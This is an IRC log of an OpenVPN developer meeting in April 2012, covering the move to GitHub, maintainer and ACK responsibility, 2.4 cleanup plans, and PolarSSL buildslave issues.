alonbl: yes, I noticed that also when doing the ACK system review :) 15:16 <@mattock> andj: yes, at least in theory, but finding the needle in the haystack may be pretty difficult :P 15:17 -!- ibins [~Michael@2001:6f8:1c60:7777:21a:4dff:fe66:600c] has joined #openvpn-devel 15:17 < alonbl> jamesyonan: git clone has all the metadata... or I fail to understand your question. 15:17 <@andj> jamesyonan: what kind of metadata? 15:17 <@mattock> jamesyonan: do you mean the reviews etc? 15:18 <@jamesyonan> yes, the stuff on the github web interface (if any) that's not actually in the repo 15:19 <@dazo> review comments and such things 15:19 < alonbl> jamesyonan: it is a metter of decision what service to use, as we discussion git only - there is no problem. If we want to go over the wiki, the pages are kept within git repository, so we can migrate too... bug tracking is something I did not investigate. 15:19 < alonbl> dazo: we do the formal review at the mailing list.... peer review may be done using github interface, but submitting a complete patch and discussion should be in the mailing list. 15:20 <@vpnHelper> RSS Update - testtrac: cleanup: add .gitattributes to control eol style explicitly <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=f99d8fa79d538c42f2ebb54d8bc2a7f891ea09f9> || Ensure sys/un.h autoconf detection includes sys/socket.h <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=a2d747bb0397c5837ec2c80ae9a3c3267acbdb2c> || cleanup: remove C++ 15:20 <@dazo> that's a model I can agree to 15:20 <@andj> ok, github it is, I guess 15:20 <@mattock> nice! 15:21 < alonbl> dazo: I did not mean to change the model, just the technology :) 15:21 <@jamesyonan> as others have pointed out, it's nice to preserve linkage between discussions and patches -- on github some of these discussions might exist outside of the repo 15:21 <@dazo> :) 15:22 <@dazo> As long as the summary of such discussions hits the ML ... I think that will be good enough ... but to encourage easier peer-review makes sense, esp. if that lowers the barrier to try to contribute to openvpn - and still have a good review regime 15:22 <@mattock> I think most of the discussions boil down to "why this <feature> makes sense" and "why was this implemented this way"... 15:23 <@mattock> and I think the most important things could be in Git commit messages themselves 15:23 <@dazo> and when all those implementation details are sorted out ... the patch set is submitted to the ML, where it gets the final inclusion ACK 15:23 <@mattock> sounds like a plan 15:23 <@dazo> exactly 15:23 <@andj> Move on to subsystems vs. features? 15:24 <@cron2> have we agreed on anything yet? 15:24 <@mattock> I think so :P 15:24 < alonbl> I opened organization https://github.com/OpenVPN, dazo, please send me your user so I can forward admin to you. 15:24 <@mattock> host repos at GitHub, sync to SF.net 15:24 <@cron2> ok 15:24 <@cron2> as long as the wiki tells me where to clone from :-) 15:24 <@mattock> cron2: I'll make sure that happens :) 15:25 <@mattock> I don't want to remember stuff either 15:25 <@dazo> alonbl: I think mattock is probably the one who should have that .... as he is an official OpenVPN Tech person ... I'm just a community guy working here for free ;-) 15:25 <@mattock> alonbl: what can an admin do? 15:25 <@mattock> unlimited powers? 15:26 < alonbl> mattock: creating repositories, deciding which teams, assigning people to teams, assigning teams to repositories, assigning privileges. 15:26 <@mattock> and it's possible to hand out permissions to others as needed? 15:26 < alonbl> mattock: yes, you can keep me around to help... :) 15:27 <@mattock> I don't mind doing that, doesn't sound like much of chore... knock knock 15:27 * cron2 wants to be in the blue team 15:27 <@mattock> and jamesyonan definitely should have admin access, too 15:27 < alonbl> mattock: whatever you decide. 15:27 <@mattock> hmm, I'm the leader now? :P 15:28 <@mattock> anyways, we can discuss these details later 15:28 <@andj> anyway, let's sort out those details outside of the meeting 15:28 <@andj> :) 15:28 <@cron2> mattock: this is just to point out that's all your fault 15:28 <@mattock> cron2: yes it is... sorry :P 15:29 <@mattock> ok, subsystems vs. features? 15:29 <@cron2> I'm not seeing that "PolarSSL" or "IPv6" are more or less "feature vs. subsystem" than "routing", "IPv4" or "crypto" 15:29 <@andj> I agree with the concept, I'm just a bit hesitant of placing someone in charge of every system... That way we have lots of little chiefs, and not one team 15:30 <@cron2> "PolarSSL" is just a smaller subsystem than "crypto+openssl+polarssl" 15:30 <@dazo> I agree that it would be beneficial for me to have some sub-maintainers ... who would be active reviewing stuff in their sub-modules ..... but those of us who are here have full time jobs, and limited time 15:30 <@mattock> yeah, that's what I'm worried about most... 15:31 * cron2 is happy to review patches for code paths that I do understand, which is mostly the "system dependencies" and "ip/routing" bits 15:31 <@andj> Thing is, people tend to have an area that they spend more time on anyway 15:31 <@andj> and I don't really think we need to formalise it 15:31 <@cron2> but I wouldn't want commit access, I'm not that good in git so I would mess it up 15:31 <@dazo> cron2: it would be that you have commit access to your own tree .... and I would more "blindly" just merge in your tree into the public one(s) 15:32 <@mattock> I think alonbl's point is valid, but as andj says, there might not be a need to formalize anything 15:32 < alonbl> cron2: you can have commit access to your shiny new github repository sending pull request to formal repository, so no need to be afraid. 15:32 * cron2 does not want subsystem-specific trees - maybe come back to that idea when we have 10 people commiting on a regular basis to the "Network" subsystem and I could fully concentrate on review and merge 15:32 <@cron2> the question posed was "Do we want to allow direct commit access to official repositories for the subsystem maintainers?", and my response to that is "I do not want that" 15:32 < alonbl> mattock: there is no need but without formalizing we will not have accountability. 15:32 <@mattock> what we'd want is focus on (fairly large) subsystems (regardless of how that's achieved) 15:32 <@cron2> i'm well aware that i can have my own git repos all day long 15:32 <@andj> alonbl's point is definitely valid in the sense that we need to look at higher-level subsystems during modularisation 15:33 < alonbl> cron2: this is not the question. 15:33 <@dazo> If there are someone now who wants to have responsibility over a specific code part ... I'm more than willing to help out in that regards ... but I think that request must come from the developer(s) itself ... not something we try to decide here and now 15:33 <@cron2> alonbl: please bother to look at the agenda. This is one of the questions posed 15:34 <@mattock> if everyone thinks it's a valid concern, it's just what came to my mind 15:34 < alonbl> cron2: who sorry, I did not want to comment this. What I was asking is what the role of the developers, who is actually maintain openvpn code? and how... after we answer these questions we can ask how one commit. 15:34 <@cron2> dazo: as I said, I'm happy to review (as time permits) routing and system-dependent stuff, but I can't take full responsibility right now 15:35 <@andj> I review and check stuff as I have time, and pay special attention to the crypto stuff in general 15:35 <@mattock> alonbl: so besides accountability, what would having (formalized) subsystem maintainers give us in return? 15:35 <@cron2> alonbl: indeed this is a good question, and one not easily answered. I can speak for myself, and the answer is similar to what andj just said 15:36 <@cron2> (s/crypto/routing, ipv6, sysdep/) 15:36 < alonbl> mattock: first it provides a firm skeleton of software project, maining we know who is developing what, and who can ACK what. 15:37 < alonbl> mattock: then, it provides the responsibility of people to keep code intact, clean it up and improve it as a whole. 15:37 <@andj> alonbl: my point is though, I'm not sure we need such a firm skeleton at this point. 15:37 <@andj> Basically we're creating a skeleton, but leaving out the flesh 15:37 <@cron2> andj: +1 15:37 < alonbl> mattock: it also provides a clear definition of the responsibility of a core developer to patches accepted by him, hence a complete release cycle. 15:38 <@dazo> alonbl: I think it's fair to say that the current situation is that it's a shared responsibility ... those who are here today (jamesyonan, cron2, andj + d12fk who is absent today) are those who I trust very much, and it's a mutual trust that we all wants the best for OpenVPN 15:38 <@mattock> I think this is the important part: "keep code intact, clean it up and improve it as a whole" 15:38 <@cron2> we need to do that when we have 15+ active developers, not at "about 5" 15:38 <@mattock> cron2: I hope GitHub helps us out with that 15:38 <@andj> mattock: there's other ways to try to achieve code cleanups too though 15:39 < alonbl> cron2: we can do this with 1 (as james did in the past), so 5 are much better. 15:39 <@mattock> yeah, my point exactly... 15:39 <@dazo> mattock: it can fly both ways ... we can get more garbage patches ... and we can get more who reviews and better patches through that process 15:39 <@andj> for example, by organising hacking sessions, where people pick a few pet peeves and fix them 15:39 <@cron2> alonbl: you seem to prefer a standstill to any impurity. I want working software, and take some risks. 15:39 < alonbl> dazo: shared responsibility is no responsibility. 15:39 <@mattock> dazo: very true, it remains to be seen 15:40 <@dazo> alonbl: generally, I agree ... but I would say those of us who are here, honestly wants the best for openvpn and does indeed try to make things better 15:40 <@mattock> alonbl: I would not go _that_ far, even though there's some truth to that 15:40 < alonbl> cron2: I think the openvpn project is too important to reach to a point it is unmaintainable... I believe that in current curse it will reach this state. 15:40 <@mattock> ok, so we disagree on how to prevent that 15:41 <@cron2> alonbl: anyone is free to rebase a "truly stable openvpn" based on 2.1 15:41 * cron2 wants openvpn with 21st-century-features, and you need to get some momentum for that 15:41 < alonbl> cron2: this is not the solution. 15:41 <@cron2> alonbl: you do not want changes, that's the way to go 15:42 <@jamesyonan> I don't think OpenVPN has yet grown beyond the point where making decisions by consensus is unreasonable 15:42 <@mattock> ok, so can we agree that we all want to keep openvpn codebase clean and future-proof? 15:42 < alonbl> cron2: I do want changes! I just think that a change need to be maintained for long term. 15:42 <@andj> Anyway, this is getting a little bitter 15:43 <@mattock> andj: true, gather your nerves, guys :P 15:43 < alonbl> andj: what do you mean? 15:43 <@cron2> alonbl: of course. I've been maintaining mgetty for 19 years now, so I know what that means (and what "drop-and-run" patches cause) 15:43 < alonbl> cron2: so why do you want this at openvpn? 15:43 <@cron2> openvpn is doing well, and we're not heading into deseaster - to the contrary, with the buildbot structure and t_client test setup we're in much better shape now 15:44 <@andj> But we do need to focus the community a little to get some needed cleanup done 15:44 <@mattock> I would say we need to be careful _not_ to head into a disaster 15:44 <@cron2> alonbl: you seem to imply that people that want to see progress do not understand that there is doom pending - I do understand that, and we're not in danger 15:44 <@mattock> andj: again a good point 15:45 <@andj> and splintering it into lots of little sub-communities isn't the fix we need 15:45 <@jamesyonan> I like the approach where the larger and more disruptive a patch is, the more committment the submitter must show to its maintance before it's merged 15:45 < alonbl> what I saw in latest patches is that people who ACK are not aware of the consequences, nor follow up the release cycle. I think this is undesirable. 15:45 <@cron2> uh. buildbot fail on freebsd... (because there is no polar ssl on those machines) 15:45 <@mattock> actually, this topic is also related to the "ACK -> you take responsibility also" patch... unless we're arguing about that now :) 15:46 <@mattock> which is related to "drop and run" patches 15:46 < alonbl> mattock: right. 15:46 <@andj> let's take this one step at a time, mattock 15:46 <@andj> That's a different discussion :) 15:46 <@mattock> yeah, not changing the topic, just pointing out 15:46 <@cron2> alonbl: so standstill again, as there will always be patches where we can't see the full consequences right away? 15:46 <@dazo> the important thing is to submit patches when things like that are noticed ... so that it can be fixed asap 15:46 < alonbl> Personally, I don't know any other community acting without a set of core developers who are long term developers responsible on the entire (or subset) of codebase... 15:47 <@cron2> alonbl: you learn something new every day 15:47 < alonbl> dazo: by who? 15:47 <@dazo> by those who see the issue 15:47 <@mattock> well, openvpn project as we know it has a somewhat atypical history 15:48 <@mattock> from jamesyonan only to current active developers 15:48 <@dazo> OpenVPN is special in that regard ... as jamesyonan was the only long term maintainer, but had a lot to do and couldn't keep up the pace with the community demands .... in fact, we were pretty close to openvpn forking - which would not be beneficial at all 15:48 < alonbl> cron2: right... and I followed a lot of time since switched into "community based" and I believe it is not working, a lot of changes were introduced and merge, while code complexity grow in greater order. 15:48 <@dazo> but those of us who are active here today, are people who stood up and took some responsibility, to try to make this work and help jamesyonan with the community side of OpenVPN 15:48 <@mattock> alonbl: it's community based 15:48 <@andj> Which means that it's time for cleanup, not organisation changes 15:48 <@cron2> well, as the rest of us seems to believe it *is* working, can we close this topic now? 15:49 <@dazo> and we avoided a fork so far 15:49 <@mattock> andj: agreed, cleaning up the codebase should be our priority 15:49 * ecrist is here, too 15:49 < ecrist> just for the record. ;) 15:49 <@mattock> hi ecrist! 15:49 <@dazo> hey! 15:49 <@andj> evening 15:49 <@mattock> yeah, you got to the record alright :P 15:49 < alonbl> dazo: currently james is the only core developer, responsible on the entire code base, including whatever was committed. There is no one else... there are people that helps in specific features, but that's it. 15:50 <@mattock> alonbl: I think that's because james is the only person who knows the codebase well enough 15:51 <@mattock> i.e. history of the project 15:51 <@dazo> and that's why we consult him on things we feel we do need far more understanding of 15:51 <@jamesyonan> alonbl: no I wouldn't agree with statement that I'm the only core developer 15:51 < alonbl> mattock: no, it is because james is the only one that is currently accountable. 15:51 <@mattock> the problem I see with formalized subsystem maintainer approach is lack of resources to do it properly 15:52 <@andj> anyway, this discussion isn't really heading anywhere productive anymore, can we move on to ack-> maintenance or openvpn 2.4? 15:52 <@cron2> dazo: could you commit the andj patch about havege_rand, please? buildbot is failing on up-to-date polarssl 15:52 < alonbl> Guys, it is very difficult to discuss this in IRC, better to present argument in full. 15:52 <@cron2> andj: what polarssl version do I want to install on the *BSD buildslaves? 15:52 <@dazo> cron2: sure! I'll dig it up 15:52 <@andj> 1.1.2 15:52 <@mattock> yeah, let's discuss this later another time on the ml 15:52 <@andj> ehrm 1.1.1 15:52 <@dazo> 1.1.x ;-) 15:53 < alonbl> jamesyonan: I will be glad if you can give some example of other people maintianing not a feature but a complete significant piece of code. 15:53 <@cron2> this distinction is ridiculous in itself 15:53 <@mattock> ...and when we discuss this again, we should take a look at the problems and then figure out what's the best way to solve it 15:53 <@mattock> it may be subsystem maintainers or something else entirely... let's keep an open mind, shall we 15:53 <@cron2> I consider "the #ifdef FREEBSD" bits as "significant piece of code" 15:54 <@dazo> +1 15:54 <@jamesyonan> alonbl: polarssl, ipv6, platform specific code outside of linux and windows 15:54 < alonbl> cron2: no if we can reduce the #ifdef FREEBSD and merge them more common with the #ifdef LINUX. 15:54 <@cron2> alonbl: again you don't understand that this cannot be done 15:54 <@mattock> next topic, shall we? 15:55 <@andj> please 15:55 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2012-04-26#ACK-maintenanceresponsibility 15:55 <@cron2> please 15:55 <@vpnHelper> Title: Topics-2012-04-26 – OpenVPN Community (at community.openvpn.net) 15:55 <@mattock> this one is an interesting proposal 15:55 < alonbl> jamesyonan: these what I call features. As if we introduce a proper ip and routing subsystem and we have a maintainer the code would have been cleaned up and not get ever more complex. 15:55 <@andj> I for one would be more hesitant to ack 15:55 <@mattock> yes, most probably would 15:55 <@dazo> andj++ 15:56 <@mattock> I think a lot depends on "what patches need to be ACKed" 15:56 <@andj> Now, I wouldn't mind checking a small patch in a completely unrelated branch 15:56 <@cron2> if I ack short things, like "this is an obvious bug to ifconfig-call on XXXBSD", I am fine with maintaining the result 15:56 <@cron2> if I ack things like "this buildsystem rewrite looks useful", I'm most defintely not going to accept responsibility for it 15:56 <@dazo> I think I said in an discussion earlier, that the ACKer is partly responsible if issues appear ... but the core responsibility of a patch is the author of the patch 15:56 <@cron2> ("full" responsibility, that is) 15:57 <@andj> any acker takes responsibility 15:57 <@cron2> I *do* try to understand the patch, and as such, do take responsibility, but wouldn't end up as the build system maintainer 15:57 < alonbl> cron2: because of this I am doing the tun thin: https://github.com/alonbl/openvpn/compare/master...tun, so you can maintain only freebsd without implications. 15:57 < alonbl> dazo: this is short term thinking, not long term. 15:58 <@dazo> well, as james said ... if you have a large patchset ... then you need to show much more efforts in getting things accepted, show that you're thinking long term about it 15:58 <@mattock> alonbl: how would we trace the code back to the ACKer, i.e. how would we know who's responsibility a certain piece of code is? 15:58 <@andj> you're basically demanding someone to commit a significant chunk of time, in return for volunteering 15:58 <@dazo> but I don't think we should expect a long term commitment to a 2-liner patch 15:59 <@andj> to review a patch 15:59 <@mattock> alonbl: what kind of patches are you thinking primarily? 15:59 < alonbl> mattock: exactly because of that I suggest the subsystem model, at any given time we should know who is maintianer of what piece of code, and this person need to maintain the implications. 15:59 <@mattock> yes, in that model this might make sense 16:00 <@mattock> or even "would make sense" 16:00 <@dazo> jamesyonan: do you have a chance to review this patch set from andj? http://thread.gmane.org/gmane.network.openvpn.devel/6210 16:00 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 16:00 < alonbl> dazo: right. if one ACK it should also make sure to fix the damn thing if patch author disappears. 16:00 < alonbl> mattock: in most cases patches that introduces new features to the already featured openvpn. 16:00 <@cron2> alonbl: so you want us to never ACK anything from you again, in case you disappear? 16:01 <@andj> dazo: note that that patch set was acked, but needed a change to remove < 1.1 polar support 16:01 <@dazo> andj: uhm ... oh dear, is my backlog that bad now :( 16:01 <@cron2> andj: meh, polarssl.org is giving me a "Forbidden" 16:01 <@andj> lol 16:02 <@andj> it worked 2 mins ago 16:02 <@mattock> maybe it's too popular? 16:02 <@cron2> oh, now it's "Requirement error" 16:02 <@andj> I think he might be updating 16:02 < alonbl> cron2: yes. I expect whoever ACK a patch of mine to be able to maintain it if I gone, or, and this is a big or, declare I am the maintainer of the (for example) build system. 16:02 <@mattock> or running on Pentium 1 60Mhz 16:03 <@mattock> alonbl: what if the ACKer is gone also? 16:03 <@dazo> alonbl: I can bring up two concrete examples .... we have two features which have been requested for, which is not applied to the tree .... vlan tagging support, which depends on a passtos feature patch set ... those are not included just for the reasons you ask for ... we don't have the knowledge to fully support it in the community, and the patch authors are not much active 16:03 <@andj> ah, btw: 1.1.2 is out now 16:03 * dazo is lagging in the discussion 16:04 <@andj> heads up: it's a security release 16:04 < alonbl> mattock: exactly because of this we need a set of properly defined core developers, to know that in every point in time we can cover the complete openvpn code base or we need to seek some experteeze to be sane again. 16:04 <@mattock> dazo: good examples 16:05 <@mattock> alonbl: this makes sense in theory, what worries me is whether it's doable in practice, with our (current) resources 16:05 < alonbl> dazo: so first we have a fundemental problem, we do not have the knowledge to support the tun and bridging, right? 16:05 < alonbl> dazo: so if we have a problem in this regard, how can we maintain even more complex code? 16:05 <@cron2> sure we have 16:06 <@dazo> I wouldn't exclude james just because he isn't active on the ML 16:06 <@cron2> we do not have the manpower to fully investigate the implications of adding vlan tagging on all supported platforms 16:06 < alonbl> dazo: refering to me? 16:06 <@dazo> alonbl: yes 16:07 < alonbl> cron2: it is entirely different... there are X resources for somoene to develop, test and perfect a patch, and different resources to maintain. If we can maintain but not develop and test it is OK. 16:07 < alonbl> dazo: so in this case james should ACK. 16:08 <@dazo> and he does, when we have our meetings 16:08 <@mattock> one of the primary reason for the meetings, btw 16:08 <@mattock> jamesyonan is our "mentor" so to speak :) 16:09 * cron2 is out of that discussion now - I don't have time for that, and I fully trust dazo and james to do the right thing, *and* I believe that we're on a good track (if anything, we're too *slow*) 16:09 <@andj> anyway, I've put in my 2c. I think we're doing ok organisationally, and we need to focus 2.4 on cleanup/modularisation 16:09 < alonbl> dazo: so james also take the accontability, just like I outlined, if we have a problem, james will need to provide a solution if nobody else will be able to. 16:09 <@andj> cron2: lol 16:09 <@cron2> andj: what can I say? This isn't going anywhere, and I need to go to bed in 20 minutes 16:09 <@mattock> alonbl: that's how it gone so far 16:10 <@andj> I'm going to head of to bed soon as well 16:10 <@cron2> (and polar 1.1.2 isn't building with "make" so now I need to get cmake to the buildslaves *grumble*) 16:10 <@andj> WARNING: http://polarssl.org/news 16:10 < alonbl> mattock: right, so we have one core developer, james. 16:10 <@vpnHelper> Title: News overview - PolarSSL (at polarssl.org) 16:10 <@jamesyonan> alonbl: a lot has changed since 2.1 -- since then, the project has evolved into a real community structure with multiple developers 16:10 <@dazo> alonbl: mattock said it well, james is our mentor ... and he has put some trust that those of us here today can do a reasonable job ... and we (I) sure hope he raises his voice if he sees something goes in the wrong direction from what he likes 16:10 <@andj> cron2: make doesn't work? 16:11 <@cron2> make: don't know how to make test_suite_aes.c. Stop 16:11 <@cron2> (it compiles a few things, but then stops with that error) 16:11 <@mattock> cron2: you don't need cmake for polarssl 16:11 < alonbl> jamesyonan: james, I follow this process, and tell you that nobody is responsible to any piece of code apart of you, you cannot compare it to any other open source community out there. 16:11 <@dazo> andj: would you mind help me find those patches we're lacking .... my brain capacity doesn't scale well with this parallel discussion :) 16:12 <@andj> dazo: what patches? 16:12 <@mattock> alonbl: probably not at subsystem level as defined by you 16:12 <@jamesyonan> alonbl: it's simply not true, other developers have made major structural changes to the code base 16:12 <@dazo> andj: PolarSSL 1.1 stuff 16:12 < alonbl> jamesyonan: It is just like you tell me that in KDE, someone will maintain the ipv6, someone else the encryption, there is somoene that cares about the fonts, but nobody actually maintain the core. 16:12 <@andj> dazo: It's these ones: http://thread.gmane.org/gmane.network.openvpn.devel/6210 16:12 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 16:13 <@andj> cron2: it builds fine on my machine with make 16:13 <@cron2> andj: tarball? 16:13 <@dazo> andj: and then it was another thread as well? http://thread.gmane.org/gmane.network.openvpn.devel/5689 ? 16:13 <@andj> yeah 16:13 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 16:13 <@andj> those where the old ones 16:13 <@cron2> which one? I have polarssl-1.1.2-gpl.tgz 16:14 <@andj> "wget http://polarssl.org/code/releases/polarssl-1.1.2-gpl.tgz" 16:14 <@mattock> andj, cron2: we're trying to argue here without any resolution/consensus in sight :) 16:14 < alonbl> jamesyonan: I can take this offline and demonstrate you the complexity introduced, and the fear of people to touch existing lines of codes, hence adding more complexity. 16:14 <@cron2> andj: yes, that's what I got 16:14 <@andj> mattock: we gave up, I think 16:14 <@cron2> andj: bsd make, tho 16:14 <@andj> aha, that might be it 16:15 <@mattock> alonbl: this brings us to 2.4 release 16:15 <@mattock> which at least I and andj think should focus on cleaning up this stuff 16:15 <@mattock> new features that were introduced 16:15 <@mattock> can we agree on that? 16:16 <@andj> Mostly, I think we should focus on refactoring, so not just new features, but also splitting large, cumbersome modules into multiple leaner modules 16:16 <@mattock> and during that release cycle, fix the issues you've pointed out / will point out / look at the big picture 16:16 <@cron2> andj: indeed 16:16 <@cron2> fbsd90.ov$ gmake Generate test_suite_aes.c 16:17 * cron2 is fine with "have 2.4 the great clean up" 16:17 <@dazo> andj++ 16:17 <@andj> But: there's another side to that coin: 16:17 <@andj> 2.3 should be frozen soon then 16:17 < alonbl> I promised to help with cleaning up the syshead usage, so this can be done either in 2.3 or 2.4, do not care which. Already started: https://github.com/alonbl/openvpn/compare/master...syshead 16:17 <@vpnHelper> Title: Comparing master...syshead · alonbl/openvpn · GitHub (at github.com) 16:17 <@mattock> alonbl: thanks! 16:17 <@cron2> andj: ++ 16:17 <@andj> alonbl: despite the arguments 16:18 <@andj> I really appreciate the clean up work! 16:18 <@mattock> andj: agreed, we should push out 2.3 a.s.a.p. 16:18 <@dazo> absolutely! 16:18 < alonbl> I also created modular interface for the tun https://github.com/alonbl/openvpn/compare/master...tun, need help in testing it at *BSD. 16:18 <@andj> and I think they're going well 16:18 <@andj> alonbl: I'd prefer to put those into 2.4 16:18 <@mattock> alonbl: you're one coding machine I have to say 16:18 <@mattock> although I think you had some of the buildsystem stuff ready before it went public, didn't you :P 16:19 < alonbl> andj: Thanks! I am trying my best to lower the complexity. 16:19 * cron2 doesn't want major tun.c changes before 2.3 - I have all platforms working for all supported protocols now, and getting that back after a rewrite will take time 16:20 < alonbl> mattock: I did not have anything... Just an attempt to convince James to do this about 6 years ago... 16:20 <@mattock> alonbl: I think the 2.4 cleanup cycle will also help us (me not included) get to know openvpn in more details... and thus address your concerns 16:20 <@mattock> regarding core developers 16:20 <@mattock> alonbl: ok, then you're the coding machine as I stated :) 16:21 <@mattock> ok, end the meeting now and continue later? 16:21 < alonbl> mattock: thanks, this will be great. 16:21 <@cron2> haha 16:21 <@cron2> mattocks buildslave ran out of disk space 16:21 <@andj> lol 16:21 <@mattock> cron2: damn 16:21 <@mattock> which one? 16:21 <@andj> cron2: have you found the polar make issue? 16:21 <@dazo> alonbl: one of the core problems in the current code base, is that it's not easy to follow all the code paths and understand well how it stays together ... which is why it's not easy to get more people involved, as it requires quite some guts ... but as andj said, I also appreciate your clean up work ... and I believe you help reducing that complexity, to make it easier to see the bigger picture, with your cleanup patches 16:21 <@cron2> ubuntu-1004-amd64 16:21 <@mattock> cron2: ok, need to fix that then 16:22 <@cron2> andj: it works with gmake - these test_suite_*.c are built on-the-go, and the rules for that seem to be bsd-make-incompatible 16:22 <@mattock> alonbl: thanks for attending the meeting today, even though I know you're not very fond of IRC :) 16:22 <@cron2> didn't look, just ran gmake, and it now builds 16:22 <@andj> I'm sure Polar is willing to fix that 16:22 < alonbl> dazo: thanks! the difference in my approach is that I prefer to do the cleanup before significant merge... 16:22 <@dazo> alonbl: so I hope that this cleanup will help solve more of those issues you rightfully do point out ... but it's not solved over night ... and we're not all as code efficient as you seem to be :) 16:22 <@andj> thanks everyone 16:22 <@mattock> very useful, we made good progress and didn't end up choking each other... although the physical distance helped somewhat :) 16:22 <@cron2> andj: well, the README could just say "needs gmake" and that would be fine with me 16:23 <@cron2> heh, we're not done yet 16:23 <@cron2> there's one last item on the agenda :-) 16:23 <@andj> uh oh 16:23 <@mattock> cron2: oh, the infamous connectivity tests 16:23 <@mattock> damn 16:23 <@dazo> alonbl: yeah, I would also normally agree to that ... but we seriously need much of the features we have merged, to be relevant in the future .... so it's a give-and-take situation, not ideal - but that's the reality 16:23 <@mattock> I thought I managed to escape those :) 16:24 <@cron2> mattock: yeah, really. I can set this up for you for my buildslaves, as I have the tests + certs all done already. Just send me an mail that explains which files need to be where so buildbot can pick them up 16:24 * dazo looks at the clock and realises he needs to run for the train home 16:24 <@cron2> (t_client.rc, certs, etc.) 16:24 <@andj> What I'd really love in 2.4: unit tests for a few key modules 16:24 <@mattock> cron2: can you setup the test server? 16:25 <@cron2> mattock: didn't you have that already? 16:25 <@mattock> well, I have a VM :) 16:25 <@dazo> Thanks all for a good meeting! 16:25 <@mattock> nothing's configured yet, after our previous test server was taken offline 16:25 <@cron2> mattock: where's the config from the old test-server? 16:25 <@andj> need to run as well 16:25 <@andj> thanks everyone 16:25 <@cron2> g'night, folks 16:25 <@mattock> cron2: good question... I fear it got lost 16:26 <@mattock> bye guys! 16:26 <@mattock> summary tomorrow 16:26 -!- dazo is now known as dazo_afk 16:26 <@mattock> from me :) 16:26 < alonbl> bye 16:26 <@cron2> mattock: *sigh*, ok, I'll do it again 16:26 <@mattock> I'd appreciate that a lot, given you got more experience on the matter 16:26 <@mattock> I'll handle my buildslaves, that's a handful 16:26 <@cron2> bah, that's just "setting up a handful of openvpn servers" 16:27 <@mattock> :) 16:27 <@mattock> true, but my past performance in setting up the test server(s) is not especially convincing :P 16:27 <@cron2> mattock: will buildslave/configure find polar when it's installed in /usr/local/{include,lib}/? 16:27 <@cron2> fbsd90 now has polar 1.1.2 16:27 <@mattock> frankly, I've sucked 16:28 <@cron2> mattock: well, we need incentives. Like "we'll saw off some other fingertips"... 16:28 <@mattock> lol :) 16:28 <@mattock> I used a sharp kitchen knife, less painful 16:28 <@mattock> would that be an option? 16:28 <@cron2> spoon 16:28 <@mattock> although... that would make it even slower to setup future test servers 16:28 <@mattock> "because it hurts more?" 16:28 <@cron2> then we need to start with the toes. blunt spoon 16:30 <@mattock> cron2: so test server before 2.3-final? 16:30 <@mattock> I think that's a fair goal 16:30 <@cron2> mattock: most definitely 16:31 <@mattock> ok, what if I setup the VM with ecrist, and you take over as our primary FreeBSD developer? :P 16:31 <@mattock> I got access to the ESXi host 16:31 <@cron2> no time to take up anything new, but as soon as the VM is running, I can setup the test servers 16:32 <@mattock> yeah, that's what I meant 16:32 <@mattock> I'll give you SSH credentials and a pre-installed FreeBSD box, and you setup the test servers 16:32 <@mattock> and I'll setup my buildslaves accordingly 16:32 <@cron2> ok 16:33 <@mattock> my current buildslaves are IPv4 only, unfortunately... 16:33 <@mattock> we should definitely have a Linux IPv6 buildslave, too 16:33 <@cron2> that does not matter for testing IPv6 transport 16:33 <@cron2> s/transport/payload/ 16:33 <@mattock> yep 16:33 <@cron2> but for testing *transport*, we need external v6 as well, yep 16:34 <@mattock> I got one VM I could probably use, I've been trying to get rid of it (unsuccessfully, I might add) 16:34 <@mattock> it probably has IPv6, or can have at least 16:34 <@mattock> ecrist: there? 16:34 <@mattock> cron2: I'll try to have the server setup tomorrow 16:35 <@cron2> cool 16:35 <@mattock> if there are no obstacles in ESXi I should manage 16:35 <@mattock> e.g. "wrong credentials" 16:35 <@mattock> ok, time to go to bed, see you later! 16:37 <@cron2> *sigh* 16:37 <@cron2> dumb thing doesn't find polar if it's not in /usr/include, /usr/lib 16:39 <@cron2> ssl_polarssl.c:520: error: 'havege_rand' undeclared (first use in this function) 16:39 * cron2 points at dazo and andj 16:40 <+krzee> !blame 16:40 <@vpnHelper> "blame" is (#1) According to Bushmills, it's always krzee's fault or (#2) According to krzee, it's always dazo's fault or (#3) and dazo will always blame EugeneKay, Bushmills, ecrist or any other sensible victims in the required moments 16:46 -!- ibins [~Michael@2001:6f8:1c60:7777:21a:4dff:fe66:600c] has quit [Quit: Verlassend] 17:01 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 272 seconds] 19:04 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:04 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:17 -!- alonbl [d41951e3@gateway/web/freenode/ip.212.25.81.227] has quit [Ping timeout: 245 seconds] --- Day changed Fri Apr 27 2012 01:55 <@mattock> ...back to testing the UCS-2 -> UTF-8 patch 02:25 <@mattock> alon's been busy: https://github.com/OpenVPN 02:26 <@vpnHelper> Title: OpenVPN · GitHub (at github.com) 02:26 <@mattock> busy enough to break tap-windows fetching in openvpn-build :) 02:57 <@mattock> damn, how hard can it be to --enable-password-save when cross-compiling... 03:32 <@cron2> moin 03:33 <@mattock> hi 03:33 <@mattock> damn, how hard can it be to use non-ASCII characters be in Windows... 03:33 <@mattock> answer to both ^^^: very 03:41 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 04:19 <@d12fk> nice you got alon into irc, things are progressing =) 04:38 <@cron2> d12fk: how's the work on the gui and privsep stuff progressing? 04:38 <@cron2> (just ran into "openvpn does not work for me!" issues with a colleague this week - turned out to be "not admin"...) 04:39 <@d12fk> i've a couple of bug reports from colleagues that i need to resolve before i'll publich things 04:39 <@d12fk> May will be the month if the force is with me =) 04:46 <@cron2> cool 04:47 <@cron2> june 6 is world ipv6 launch day... 04:47 <@cron2> ... having 2.3 beta with full ipv6 and nice gui out by then would be tremendous 05:26 -!- dazo_afk is now known as dazo 05:28 <@dazo> cron2: I got a v2 of the patch you acked yesterday ... I applied a patch which partly fixed the issue we fixed yesterday (which is the reason I'm first online by now) 05:28 